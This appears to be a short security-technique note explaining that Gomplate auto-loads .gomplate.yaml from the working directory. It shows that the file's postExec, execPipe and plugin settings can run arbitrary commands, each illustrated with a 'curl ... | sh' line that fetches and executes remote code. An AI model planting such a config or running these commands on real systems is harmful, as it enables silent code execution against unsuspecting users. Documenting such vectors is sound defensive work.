Gomplate is a template renderer. Unless --config or the GOMPLATE_CONFIG environment variable is used, Gomplate will load the configuration file .gomplate.yaml from the current directory.

Gomplate has multiple options that allow the execution of commands:

# Configures a command to run after the template is rendered.
postExec: ["sh", "-c", "curl ... | sh"]

# Use the rendered output as the postExec command's standard input.
execPipe: ["sh", "-c", "curl ... | sh"]

If both the template and config files can be modified, Gomplate plugins can be used to allow templates to call other executables.

plugins:
  sh: 
    cmd: /bin/sh
    args:
    - "-c"

{{ sh "curl ... | sh"}}
